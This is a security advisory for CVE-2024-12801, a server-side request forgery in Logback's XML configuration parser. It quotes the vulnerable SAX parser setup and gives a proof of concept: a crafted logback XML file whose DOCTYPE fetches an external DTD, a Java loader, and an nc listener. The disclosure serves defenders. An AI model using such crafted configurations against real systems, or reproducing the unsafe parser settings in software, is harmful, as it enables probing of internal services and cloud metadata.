CVE-2024-12801

Overview

Logback is an open-source Java logging framework designed as a successor to Log4j. Its core module provides logging infrastructure, logback-classic implements the SLF4J API, and logback-access supplies HTTP access logging for servlet containers.

A server-side request forgery vulnerability (CVE-2024-12801) has been identified in the SaxEventRecorder class of logback-core, which allows attackers who can modify a logback XML configuration file, or force the use of a malicious one at application start, to make the application send requests to a URL of their choosing. The request is triggered by an external DTD named in the configuration file's DOCTYPE declaration.

Per OWASP: In a Server-Side Request Forgery (SSRF) attack, the attacker can abuse functionality on the server to read or update internal resources. The attacker can supply or modify a URL which the code running on the server will read or submit data to, and by carefully selecting the URLs, the attacker may be able to read server configuration such as AWS metadata, connect to internal services like http enabled databases or perform post requests towards internal services which are not intended to be exposed.

This issue affects multiple versions of Logback.

Details

Module Info

• Product: Logback
• Affected packages: ch.qos.logback:logback-core
• Affected versions: <1.3.15, >=1.4.0 <1.5.13
• GitHub repository: https://github.com/qos-ch/logback

• Published packages: https://central.sonatype.com/artifact/ch.qos.logback/logback-core

• Package manager: Maven
• Fixed in:
  
  • OSS Logback 1.3.15, 1.5.13
  • NES for Logback v1.2.15

Vulnerability Info

This Low-severity vulnerability is found in the ch.qos.logback:logback-core package in multiple versions of Logback. Logback's Joran configurator reads XML configuration files through SaxEventRecorder, which extends the SAX DefaultHandler and passes itself to the parser as the content handler:

public class SaxEventRecorder extends DefaultHandler implements ContextAware {

    public List<SaxEvent> recordEvents(InputSource inputSource) throws JoranException {
        SAXParser saxParser = buildSaxParser();
        try {
            saxParser.parse(inputSource, this);
            return saxEventList;
        // ...
    }

    private SAXParser buildSaxParser() throws JoranException {
        try {
            SAXParserFactory spf = SAXParserFactory.newInstance();
            spf.setValidating(false);
            //spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
            spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
            spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
            spf.setNamespaceAware(true);
            return spf.newSAXParser();
        // ...
    }

The parser factory turns off external general and parameter entities, but DOCTYPE declarations are still allowed because the disallow-doctype-decl feature is commented out. SaxEventRecorder also does not override DefaultHandler.resolveEntity, so the parser resolves the external DTD named in a DOCTYPE SYSTEM identifier itself. Even with validation off, it opens a connection to that URL while it parses the configuration. An attacker who can write to a logback XML configuration file, or make the application load one at startup, can therefore make the application issue requests to internal hosts or services it can reach, such as cloud metadata endpoints.

Steps to Reproduce

1. Save the following configuration as logback-ssrf.xml, pointing the DOCTYPE at a host you control (here a local listener started with nc -l 8099):

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE configuration SYSTEM "http://127.0.0.1:8099/ssrf.dtd">
<configuration>
</configuration>

2. Load it with Logback 1.2.13 (logback-classic and logback-core on the class path):

import ch.qos.logback.classic.LoggerContext;
import ch.qos.logback.classic.joran.JoranConfigurator;

public class Repro {
    public static void main(String[] args) throws Exception {
        LoggerContext context = new LoggerContext();
        JoranConfigurator configurator = new JoranConfigurator();
        configurator.setContext(context);
        configurator.doConfigure("logback-ssrf.xml");
    }
}

3. The listener receives GET /ssrf.dtd from the application while the configuration is parsed.

Mitigation

Logback 1.2.x is End-of-Life and will not receive any updates to address this issue. For more information, see here.

Users of the affected components should apply one of the following mitigations:

• Upgrade affected applications to a currently supported version of Logback.
• Leverage a commercial support partner like HeroDevs for post-EOL security support.

Credits

• 7asecurity (finder)